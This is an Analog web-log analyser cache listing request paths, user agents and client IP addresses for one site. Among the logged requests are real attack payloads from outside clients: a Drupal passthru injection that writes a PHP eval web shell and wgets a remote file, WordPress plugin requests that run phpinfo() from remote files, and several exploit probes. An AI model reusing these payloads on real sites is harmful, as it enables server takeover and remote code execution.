CACHE type 5 produced by analog 6.0/Unix. Do not modify or delete!
T	0	0	141	129	0	227	81239
D	25837357	26245212
17942	175	3	0	218
17943	224	1	1	623
17943	231	1	1	623
17972	185	1	1	623
17974	248	1	1	623
17978	196	1	1	623
17982	187	1	1	623
17988	253	1	1	623
17999	211	1	1	623
18008	250	1	1	623
18009	228	1	1	623
18015	140	1	1	623
18017	265	3	0	218
18018	5	1	1	623
18019	36	1	1	623
18021	32	1	1	623
18022	279	1	1	623
18023	75	1	1	623
18025	177	1	1	623
18026	134	1	1	623
18026	286	1	1	623
18027	12	1	1	623
18027	86	1	1	623
18027	141	1	1	623
18027	146	1	1	623
18031	272	1	1	623
18032	69	1	1	623
18032	70	1	1	623
18032	71	1	1	623
18032	78	1	1	623
18032	97	2	2	1246
18032	98	1	1	623
18032	99	1	1	623
18032	122	1	1	623
18033	22	1	1	623
18033	72	1	1	623
18033	80	1	1	623
18033	183	1	1	623
18035	186	1	1	623
18040	228	1	1	623
18041	37	1	1	623
18045	0	2	2	1246
18045	159	1	1	623
18046	179	1	1	623
18047	170	1	1	623
18048	19	1	1	623
18048	96	5	5	3115
18048	240	5	5	3115
18052	109	2	2	1246
18052	182	1	1	623
18057	239	1	1	623
18057	272	1	1	623
18063	243	1	1	623
18063	284	1	1	623
18069	165	1	1	623
18070	45	1	1	623
18076	11	1	1	623
18077	105	2	2	1246
18082	130	1	1	623
18083	5	1	1	623
18083	136	1	1	623
18088	261	1	1	623
18089	7	1	1	623
18089	74	1	1	623
18093	265	3	0	218
18094	128	1	1	623
18094	232	1	1	623
18096	1	1	1	623
18096	258	1	1	623
18100	279	1	1	623
18102	250	1	1	623
18106	233	1	1	623
18108	151	1	1	623
18112	32	1	1	623
18113	154	1	1	623
18114	193	1	1	623
18119	137	1	1	623
18120	118	1	1	623
18125	148	1	1	623
18126	151	1	1	623
18131	185	1	1	623
18132	14	1	1	623
18132	149	1	1	623
18133	84	1	1	623
18134	48	1	1	623
18137	274	1	1	623
18139	12	1	1	623
18139	232	1	1	623
18145	208	1	1	623
18145	220	1	1	623
18151	168	1	1	623
18151	181	1	1	623
18157	77	1	1	623
18157	160	1	1	623
18162	193	1	1	623
18164	77	1	1	623
18164	282	1	1	623
18168	206	1	1	623
18169	117	2	2	1246
18169	265	3	0	218
18171	38	1	1	623
18174	132	1	1	623
18175	227	1	1	623
18177	166	1	1	623
18184	32	1	1	623
18189	225	1	1	623
18192	275	1	1	623
18195	118	1	1	623
18196	238	1	1	623
18198	58	1	1	623
18202	147	1	1	623
18203	54	1	1	623
18203	171	1	1	623
18209	260	1	1	623
18215	220	2	2	1246
18217	195	1	1	623
18223	168	1	1	623
18225	101	1	1	623
18225	242	1	1	623
1	0	0	0	1	0	0	26057824	0	0	26057824	0	/dev/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26230700	0	0	26230700	0	/wp/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/demo/wp-login.php
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/press/wp-login.php
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/webconfig.txt.php?209.17.96.202
1	0	0	0	1	0	0	26230700	0	0	26230700	0	/site/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/en/wp-login.php
1	0	0	0	2	0	0	26230700	0	0	26057821	0	/blog/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26057828	0	0	26057828	0	/newsite/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26057830	0	0	26057830	0	/store/wp-includes/wlwmanifest.xml
1	1	0	0	0	26164686	0	0	26164686	0	0	64	/.well-known/pki-validation/388B014812A00509BDFDFD4C791F78A6.txt
1	0	0	0	1	0	0	26230700	0	0	26230700	0	/2019/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26057828	0	0	26057828	0	/oldsite/wp-includes/wlwmanifest.xml
1	0	0	0	2	0	0	26230700	0	0	26057826	0	/cms/wp-includes/wlwmanifest.xml
1	2	0	0	0	26164686	0	0	26164686	0	0	154	/.well-known/pki-validation/0DF5E6F480152F80212D46051B60EBFC.txt
1	0	0	0	3	0	0	25934101	0	0	25926043	0	/robots.txt?209.17.96.202
1	0	0	0	1	0	0	26057826	0	0	26057826	0	/beta/wp-includes/wlwmanifest.xml
1	0	0	0	2	0	0	26230700	0	0	26057827	0	/shop/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/blogswp-login.php
1	0	0	0	1	0	0	26057821	0	0	26057821	0	/backup/wp-includes/wlwmanifest.xml
1	5	5	0	0	25942302	0	0	25889303	0	0	3115	/?209.17.96.202
1	4	4	0	0	25966571	0	0	25966430	0	0	2492	/?C=M;O=D
1	0	0	0	3	0	0	25989216	0	0	25976262	0	/favicon.ico
1	0	0	0	24	0	0	26245212	0	0	25926171	0	/robots.txt
1	0	0	0	1	0	0	26057826	0	0	26057826	0	/www/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/portal/wp-login.php
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/new/wp-login.php
1	2	2	0	0	25990324	0	0	25989604	0	0	1246	/?c=m;o=a
1	2	2	0	0	25958114	0	0	25956887	0	0	1246	/?C=M;O=A
1	0	0	0	1	0	0	26230700	0	0	26230700	0	/xmlrpc.php?rsd
1	0	0	0	2	0	0	26230700	0	0	26057830	0	/wp2/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	25978742	0	0	25978742	0	/robots.txt?54.36.148.171
1	0	0	0	3	0	0	25988534	0	0	25973648	0	/favicon.ico?54.36.148.171
1	0	0	0	12	0	0	26056001	0	0	25995426	0	/robots.txt?112.66.97.124
1	0	0	0	1	0	0	26236788	0	0	26236788	0	/index.php
1	0	0	0	37	0	0	26241961	0	0	26070703	0	/robots.txt?54.36.148.168
1	0	0	0	2	0	0	26057823	0	0	26057822	0	/en/wp-includes/wlwmanifest.xml
1	0	0	0	2	0	0	26163947	0	0	26163945	0	/oldsite/
1	0	0	0	1	0	0	26048530	0	0	26048530	0	/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/user/register/?element_parents=account/mail/#value&ajax_form=1&_wrapper_format=drupal_ajax
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/sitio/wp-login.php
1	2	2	0	0	25985599	0	0	25959585	0	0	1246	/?54.36.148.171
1	2	2	0	0	25883803	0	0	25839040	0	0	1246	/?187.86.152.163
1	2	2	0	0	26038731	0	0	25990324	0	0	1246	/?112.66.97.124
1	2	0	0	0	25837357	0	0	25837357	0	0	154	/.well-known/pki-validation/80834BF5A32D874AE1D186E4B252D5D0.txt
1	8	8	0	0	26244507	0	0	26059531	0	0	4984	/?54.36.148.168
1	0	0	0	4	0	0	25958114	0	0	25953076	0	/robots.txt?54.36.150.87
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.acne-school.ru//sites/all/modules/webform/tests/subform.txt&wpaa=phpinfo();exit();
1	1	0	0	0	25945806	0	0	25945806	0	0	64	/.well-known/pki-validation/AF6A71966681A92F0C6EBC19BBEFB12E.txt?54.36.150.87
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.tekmat.net/wp-content/uploads/2014/04/jpg.txt&wpaa=phpinfo();
1	0	0	0	1	0	0	25989638	0	0	25989638	0	/connectors/system/phpthumb.php
1	0	0	0	1	0	0	26057823	0	0	26057823	0	/demo/wp-includes/wlwmanifest.xml
1	1	0	0	0	26055247	0	0	26055247	0	0	64	/.well-known/pki-validation/06BBCE22FD14CF1A9C7E12052DA183DB.txt?112.66.97.124
1	0	0	0	2	0	0	26163947	0	0	26163945	0	/site/
1	0	0	0	1	0	0	26057828	0	0	26057828	0	/portal/wp-includes/wlwmanifest.xml
1	0	0	0	21	0	0	26245052	0	0	26064927	0	/wp-login.php?54.36.148.168
1	0	0	0	1	0	0	26230700	0	0	26230700	0	/media/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26057820	0	0	26057820	0	/wp-includes/wlwmanifest.xml?54.36.148.168
1	0	0	0	1	0	0	26230700	0	0	26230700	0	/sito/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/web/wp-login.php
1	0	0	0	3	0	0	25987137	0	0	25971330	0	/robots.txt?91.199.212.132
1	0	0	0	1	0	0	25975632	0	0	25975632	0	/favicon.ico?91.199.212.132
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/webconfig.txt.php
1	2	2	0	0	25950403	0	0	25947541	0	0	1246	/?54.36.150.87
1	0	0	0	1	0	0	26230700	0	0	26230700	0	/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/wp/wp-login.php
1	3	3	0	0	25978742	0	0	25966426	0	0	1869	/?C=D;O=D
1	0	0	0	2	0	0	26230700	0	0	26057828	0	/website/wp-includes/wlwmanifest.xml
1	2	2	0	0	25990324	0	0	25989604	0	0	1246	/?c=d;o=a
1	2	2	0	0	25971330	0	0	25958874	0	0	1246	/?C=D;O=A
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/sites/wp-login.php
1	0	0	0	2	0	0	26230700	0	0	26057821	0	/test/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26057829	0	0	26057829	0	/v1/wp-includes/wlwmanifest.xml
1	1	0	0	0	25837357	0	0	25837357	0	0	64	/.well-known/pki-validation/218FC767B24A8F00F777AADDC046729C.txt
1	0	0	0	1	0	0	26230700	0	0	26230700	0	/wordpress/wp-includes/wlwmanifest.xml
1	0	0	0	2	0	0	25945808	0	0	25945808	0	/.git/index
1	78	78	0	0	26245212	0	0	25839076	0	0	48594	/
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/site/wp-login.php
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/info/wp-login.php
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://www.viamarkt.hu/readme.txt&wpaa=phpinfo();exit();
1	3	3	0	0	25967922	0	0	25966470	0	0	1869	/?C=S;O=D
1	2	2	0	0	25959311	0	0	25953077	0	0	1246	/?C=S;O=A
1	2	2	0	0	25990324	0	0	25989604	0	0	1246	/?c=s;o=a
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/old/wp-login.php
1	0	0	0	15	0	0	26235944	0	0	25954264	0	/cgi-bin/
1	0	0	0	1	0	0	26057821	0	0	26057821	0	/old/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/blog/wp-login.php
1	0	0	0	2	0	0	26230700	0	0	26057826	0	/news/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26235770	0	0	26235770	0	/index.php?54.36.148.168
1	0	0	0	2	0	0	26163947	0	0	26163945	0	/blog/
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/home/wp-login.php
1	0	0	0	2	0	0	26163947	0	0	26163945	0	/new/
1	0	0	0	1	0	0	26101658	0	0	26101658	0	/update.php
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/?q=user/password&name[#post_render][]=passthru&name[#type]=markup&name[#markup]=echo+'Vuln!!+patch+it+Now!'+>+vuln.htm%3B+echo+'Vuln!!<%3Fphp+@eval($_POST['pass'])+%3F>'>+sites/default/files/vuln.php%3B+echo+'Vuln!!<%3Fphp+@eval($_POST['pass'])+%3F>'>+vuln.php%3B+cd+sites/default/files/%3B+echo+'AddType+application/x-httpd-php+.jpg'+>+.htaccess%3B+wget+'http://40k.waszmann.de/Deutsch/images/up.php'
1	0	0	0	2	0	0	26163947	0	0	26163945	0	/wordpress/
1	0	0	0	1	0	0	25907325	0	0	25907325	0	/administrator/webconfig.txt.php
1	0	0	0	2	0	0	26163947	0	0	26163945	0	/wp/
1	0	0	0	2	0	0	26163947	0	0	26163945	0	/backup/
1	2	0	0	0	25945806	0	0	25945806	0	0	154	/.well-known/pki-validation/0F876AA88CC0F41CF215039D058D8F12.txt
1	0	0	0	1	0	0	26057828	0	0	26057828	0	/v2/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/news/wp-login.php
1	2	0	0	0	26055247	0	0	26055247	0	0	154	/.well-known/pki-validation/ECCDE20EBB5FFD5A4B879EEAF2F15D69.txt
1	0	0	0	2	0	0	26230700	0	0	26057828	0	/2018/wp-includes/wlwmanifest.xml
1	0	0	0	8	0	0	26236059	0	0	26068132	0	/wp-login.php
1	0	0	0	2	0	0	26230700	0	0	26057824	0	/web/wp-includes/wlwmanifest.xml
1	0	0	0	1	0	0	26048531	0	0	26048531	0	/web.txt.php?act=ul
1	2	2	0	0	25966002	0	0	25880607	0	0	1246	/?91.199.212.132
1	2	2	0	0	25990324	0	0	25989604	0	0	1246	/?c=n;o=d
1	2	2	0	0	25959614	0	0	25953495	0	0	1246	/?C=N;O=D
1	0	0	0	2	0	0	26163947	0	0	26163945	0	/old/
1	0	0	0	1	0	0	26057827	0	0	26057827	0	/main/wp-includes/wlwmanifest.xml
1	2	2	0	0	25968435	0	0	25966691	0	0	1246	/?C=N;O=A
1	0	0	0	1	0	0	26068132	0	0	26068132	0	/wordpress/wp-login.php
1	0	0	0	1	0	0	26230700	0	0	26230700	0	/wp1/wp-includes/wlwmanifest.xml
3	1	1	0	9	25942302	0	26048531	25942302	0	25907325	623	http://www.google.com.hk/
4	2	2	0	17	26163947	0	26163947	26163945	0	26048530	1246	python-requests/2.22.0
4	0	0	0	2	0	0	26087681	0	0	26087681	0	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.80 Safari/537.36
4	0	0	0	3	0	0	25988534	0	0	25975632	0	Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
4	0	0	0	1	0	0	25979715	0	0	25979715	0	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
4	1	1	0	0	25945948	0	0	25945948	0	0	623	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
4	1	1	0	2	25984800	0	26101658	25984800	0	25989638	623	Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36
4	12	0	0	0	26164686	0	0	25837357	0	0	872	COMODO DCV
4	4	4	0	0	26211617	0	0	25903988	0	0	2492	Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)
4	0	0	0	1	0	0	25973648	0	0	25973648	0	Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
4	1	1	0	0	26048530	0	0	26048530	0	0	623	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
4	0	0	0	2	0	0	25945808	0	0	25945808	0	curl/7.64.0
4	11	11	0	2	25990324	0	25990324	25919616	0	25989604	6853	Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0;)
4	89	89	0	96	26245212	0	26245212	25932774	0	25926043	55447	Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)
4	1	1	0	18	26068132	0	26068132	26068132	0	26068132	623	Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)
4	1	1	0	9	25942302	0	26048531	25942302	0	25907325	623	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
4	0	0	0	1	0	0	25989216	0	0	25989216	0	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36
4	0	0	0	2	0	0	26116072	0	0	26106881	0	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:61.0.1) Gecko/20120101 Firefox/61.0.1
4	7	7	0	0	26059531	0	0	25880607	0	0	4361	Mozilla/5.0 (compatible; Nimbostratus-Bot/v1.3.2; http://cloudsystemnetworks.com)
4	1	1	0	0	26244507	0	0	26244507	0	0	623	Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101 Firefox/54.0
4	2	2	0	18	26230700	0	26230700	26230700	0	26230700	1246	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
4	4	4	0	0	26058249	0	0	25839040	0	0	2492	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0
4	1	1	0	0	26110150	0	0	26110150	0	0	623	Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.119 Safari/537.36
4	0	0	0	2	0	0	26236788	0	0	26235770	0	Go-http-client/1.1
4	2	2	0	1	25989216	0	25976486	25988534	0	25976486	1246	Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
4	0	0	0	25	0	0	26245052	0	0	26064927	0	Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
4	1	1	0	0	26110829	0	0	26110829	0	0	623	Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36
5	0	0	0	1	0	0	26233458	0	0	26233458	0	54.36.148.167
5	0	0	0	1	0	0	26057828	0	0	26057828	0	62.210.185.4
5	0	0	0	1	0	0	26217830	0	0	26217830	0	139.59.172.23
5	0	0	0	1	0	0	26201383	0	0	26201383	0	54.36.148.162
5	1	1	0	0	25989216	0	0	25989216	0	0	623	112.117.17.209
5	1	1	0	1	25971330	0	26138281	25971330	0	26138281	623	54.36.148.161
5	0	0	0	1	0	0	26213720	0	0	26213720	0	113.161.70.172
5	0	0	0	2	0	0	26081440	0	0	25966435	0	54.36.148.157
5	0	0	0	1	0	0	26057823	0	0	26057823	0	198.71.238.19
5	0	0	0	1	0	0	26173136	0	0	26173136	0	54.36.148.150
5	0	0	0	1	0	0	26057826	0	0	26057826	0	160.153.154.28
5	0	0	0	1	0	0	26162269	0	0	26162269	0	217.160.6.31
5	0	0	0	1	0	0	26175714	0	0	26175714	0	54.36.148.146
5	0	0	0	1	0	0	26003443	0	0	26003443	0	54.36.148.142
5	0	0	0	1	0	0	25966426	0	0	25966426	0	54.36.148.141
5	0	0	0	1	0	0	26057821	0	0	26057821	0	198.71.239.49
5	0	0	0	1	0	0	25967922	0	0	25967922	0	54.36.148.138
5	1	1	0	0	26110150	0	0	26110150	0	0	623	36.99.136.138
5	0	0	0	1	0	0	25956887	0	0	25956887	0	54.36.148.135
5	0	0	0	1	0	0	26168997	0	0	26168997	0	45.117.81.117
5	0	0	0	1	0	0	25973648	0	0	25973648	0	116.252.2.185
5	0	0	0	1	0	0	26057828	0	0	26057828	0	89.46.105.158
5	1	1	0	0	25966569	0	0	25966569	0	0	623	54.36.148.124
5	0	0	0	1	0	0	26022493	0	0	26022493	0	54.36.148.122
5	0	0	0	1	0	0	25987137	0	0	25987137	0	54.36.148.120
5	1	1	0	0	25953077	0	0	25953077	0	0	623	54.36.148.119
5	4	0	0	0	26164686	0	0	25837357	0	0	256	187.86.152.163
5	0	0	0	1	0	0	26079096	0	0	26079096	0	46.29.121.94
5	0	0	0	1	0	0	26187900	0	0	26187900	0	162.214.20.79
5	0	0	0	1	0	0	26185123	0	0	26185123	0	54.36.148.88
5	1	1	0	1	25966426	0	26085129	25966426	0	26085129	623	54.36.148.105
5	0	0	0	2	0	0	26073137	0	0	26073137	0	54.38.238.92
5	1	1	0	0	25945948	0	0	25945948	0	0	623	198.199.92.66
5	0	0	0	1	0	0	26235770	0	0	26235770	0	209.58.188.12
5	1	1	0	0	25903988	0	0	25903988	0	0	623	138.197.108.139
5	0	0	0	2	0	0	26154245	0	0	25954660	0	54.36.148.103
5	1	1	0	1	25966571	0	26171220	25966571	0	26171220	623	54.36.148.102
5	1	1	0	0	25953495	0	0	25953495	0	0	623	54.36.148.83
5	1	1	0	1	25987137	0	25995792	25987137	0	25995792	623	54.36.148.82
5	0	0	0	1	0	0	25976486	0	0	25976486	0	171.34.177.127
5	0	0	0	1	0	0	26092046	0	0	26092046	0	54.36.148.101
5	0	0	0	1	0	0	26106881	0	0	26106881	0	134.209.222.68
5	0	0	0	1	0	0	26057822	0	0	26057822	0	87.236.211.108
5	1	1	0	0	25966578	0	0	25966578	0	0	623	54.36.148.70
5	1	1	0	0	26121321	0	0	26121321	0	0	623	54.36.148.69
5	0	0	0	1	0	0	26203235	0	0	26203235	0	111.90.140.100
5	2	2	0	0	26245212	0	0	25968435	0	0	1246	54.36.148.64
5	0	0	0	1	0	0	25979945	0	0	25979945	0	54.36.148.63
5	1	1	0	0	26185123	0	0	26185123	0	0	623	54.36.148.62
5	1	1	0	2	25984800	0	26101658	25984800	0	25989638	623	193.70.34.209
5	0	0	0	1	0	0	26236059	0	0	26236059	0	124.217.235.145
5	0	0	0	1	0	0	26057821	0	0	26057821	0	67.43.2.61
5	0	0	0	1	0	0	26210407	0	0	26210407	0	178.170.164.188
5	0	0	0	1	0	0	26057824	0	0	26057824	0	5.189.172.226
5	0	0	0	1	0	0	26048026	0	0	26048026	0	54.36.148.56
5	0	0	0	1	0	0	26183555	0	0	26183555	0	54.36.150.179
5	1	1	0	0	25966691	0	0	25966691	0	0	623	54.36.149.98
5	1	1	0	0	26065398	0	0	26065398	0	0	623	54.36.148.55
5	1	1	0	1	25959614	0	26048199	25959614	0	26048199	623	54.36.149.97
5	1	1	0	0	26171220	0	0	26171220	0	0	623	54.36.150.178
5	0	0	0	1	0	0	26213178	0	0	26213178	0	54.36.148.53
5	0	0	0	1	0	0	25989216	0	0	25989216	0	58.248.203.223
5	0	0	0	1	0	0	25926171	0	0	25926171	0	54.36.149.95
5	1	1	0	0	26118653	0	0	26118653	0	0	623	54.36.148.52
5	1	1	0	2	26197857	0	26029495	26197857	0	25978742	623	54.36.148.51
5	1	1	0	0	26021029	0	0	26021029	0	0	623	54.36.150.172
5	1	1	0	0	26048026	0	0	26048026	0	0	623	54.36.149.90
5	1	1	0	2	25984800	0	26022493	25984800	0	25926043	623	54.36.149.89
5	3	3	0	0	26213178	0	0	25959311	0	0	1869	54.36.149.88
5	1	1	0	1	25932774	0	26201383	25932774	0	26201383	623	54.36.150.87
5	0	0	0	1	0	0	26073807	0	0	26073807	0	54.36.149.85
5	1	1	0	0	26073807	0	0	26073807	0	0	623	54.36.150.165
5	2	2	0	0	25979228	0	0	25966565	0	0	1246	54.36.149.84
5	0	0	0	2	0	0	26129130	0	0	25971330	0	54.36.148.40
5	1	1	0	0	26056523	0	0	26056523	0	0	623	54.36.150.83
5	0	0	0	1	0	0	25984800	0	0	25984800	0	54.36.148.39
5	1	1	0	0	25958874	0	0	25958874	0	0	623	54.36.149.82
5	1	1	0	0	26093393	0	0	26093393	0	0	623	54.36.150.163
5	0	0	0	1	0	0	26109565	0	0	26109565	0	54.36.149.81
5	1	1	0	0	26040203	0	0	26040203	0	0	623	54.36.150.8
5	0	0	0	1	0	0	26057826	0	0	26057826	0	103.101.160.173
5	0	0	0	1	0	0	26033509	0	0	26033509	0	54.36.149.8
5	1	1	0	0	26157572	0	0	26157572	0	0	623	54.36.150.79
5	0	0	0	1	0	0	26245212	0	0	26245212	0	54.36.149.7
5	1	1	0	0	26102198	0	0	26102198	0	0	623	54.36.149.77
5	1	1	0	0	26111942	0	0	26111942	0	0	623	54.36.150.6
5	0	0	0	1	0	0	26197857	0	0	26197857	0	54.36.149.5
5	0	0	0	2	0	0	26031407	0	0	26031407	0	54.36.149.75
5	1	1	0	0	26048199	0	0	26048199	0	0	623	54.36.150.75
5	1	1	0	0	26109565	0	0	26109565	0	0	623	54.36.150.155
5	0	0	0	1	0	0	26083493	0	0	26083493	0	54.36.149.3
5	1	1	0	1	25966430	0	26235944	25966430	0	26235944	623	54.36.148.31
5	1	1	0	1	26129843	0	26235944	26129843	0	26235944	623	54.36.150.154
5	0	0	0	1	0	0	25967883	0	0	25967883	0	54.36.148.29
5	2	2	0	2	26076278	0	25995426	25967922	0	25995426	1246	54.36.149.73
5	1	1	0	0	25985599	0	0	25985599	0	0	623	54.36.150.72
5	1	1	0	0	25958944	0	0	25958944	0	0	623	54.36.149.1
5	1	1	0	0	25958114	0	0	25958114	0	0	623	54.36.148.28
5	0	0	0	1	0	0	26203431	0	0	26203431	0	54.36.148.27
5	0	0	0	1	0	0	25954264	0	0	25954264	0	54.36.149.0
5	10	10	0	2	25990324	0	25990324	25989604	0	25989604	6230	62.210.201.91
5	1	1	0	0	26083493	0	0	26083493	0	0	623	54.36.148.26
5	2	2	0	0	26162950	0	0	26146467	0	0	1246	54.36.150.150
5	1	1	0	1	25956887	0	26056523	25956887	0	26056523	623	54.36.148.25
5	1	1	0	0	25895018	0	0	25895018	0	0	623	209.17.97.98
5	0	0	0	2	0	0	25945808	0	0	25945808	0	185.153.198.164
5	2	2	0	0	25995426	0	0	25995426	0	0	1246	54.36.150.66
5	1	1	0	0	26003443	0	0	26003443	0	0	623	54.36.150.65
5	2	2	0	18	26230700	0	26230700	26230700	0	26230700	1246	142.44.181.171
5	1	1	0	0	26100744	0	0	26100744	0	0	623	54.36.150.63
5	1	1	0	0	26039545	0	0	26039545	0	0	623	54.36.150.144
5	0	0	0	1	0	0	26146467	0	0	26146467	0	54.36.148.18
5	0	0	0	1	0	0	26057829	0	0	26057829	0	160.153.154.6
5	1	1	0	0	26138281	0	0	26138281	0	0	623	54.36.149.61
5	0	0	0	1	0	0	25968690	0	0	25968690	0	54.36.149.59
5	0	0	0	1	0	0	26057821	0	0	26057821	0	160.153.154.4
5	0	0	0	1	0	0	25932774	0	0	25932774	0	54.36.148.15
5	1	1	0	0	25988534	0	0	25988534	0	0	623	58.248.203.175
5	0	0	0	1	0	0	26156548	0	0	26156548	0	54.36.149.57
5	0	0	0	1	0	0	25953076	0	0	25953076	0	54.36.148.14
5	1	1	0	0	26129900	0	0	26129900	0	0	623	54.36.150.56
5	0	0	0	1	0	0	26209999	0	0	26209999	0	178.128.236.202
5	1	1	0	18	26068132	0	26068132	26068132	0	26068132	623	219.145.144.65
5	1	1	0	0	26081440	0	0	26081440	0	0	623	54.36.150.54
5	0	0	0	1	0	0	26056001	0	0	26056001	0	54.36.148.11
5	0	0	0	1	0	0	26174850	0	0	26174850	0	51.83.2.148
5	0	0	0	1	0	0	26102198	0	0	26102198	0	54.36.149.53
5	0	0	0	1	0	0	25988534	0	0	25988534	0	112.66.97.124
5	0	0	0	1	0	0	26003279	0	0	26003279	0	54.36.149.49
5	1	1	0	0	26156548	0	0	26156548	0	0	623	54.36.150.49
5	1	1	0	0	26146880	0	0	26146880	0	0	623	54.36.150.50
5	0	0	0	1	0	0	26118653	0	0	26118653	0	54.36.149.50
5	1	1	0	0	26038731	0	0	26038731	0	0	623	165.22.33.176
5	1	1	0	0	26212593	0	0	26212593	0	0	623	54.36.150.128
5	1	1	0	0	26205414	0	0	26205414	0	0	623	54.36.150.127
5	0	0	0	1	0	0	25954264	0	0	25954264	0	54.36.149.46
5	1	1	0	0	26092046	0	0	26092046	0	0	623	54.36.150.126
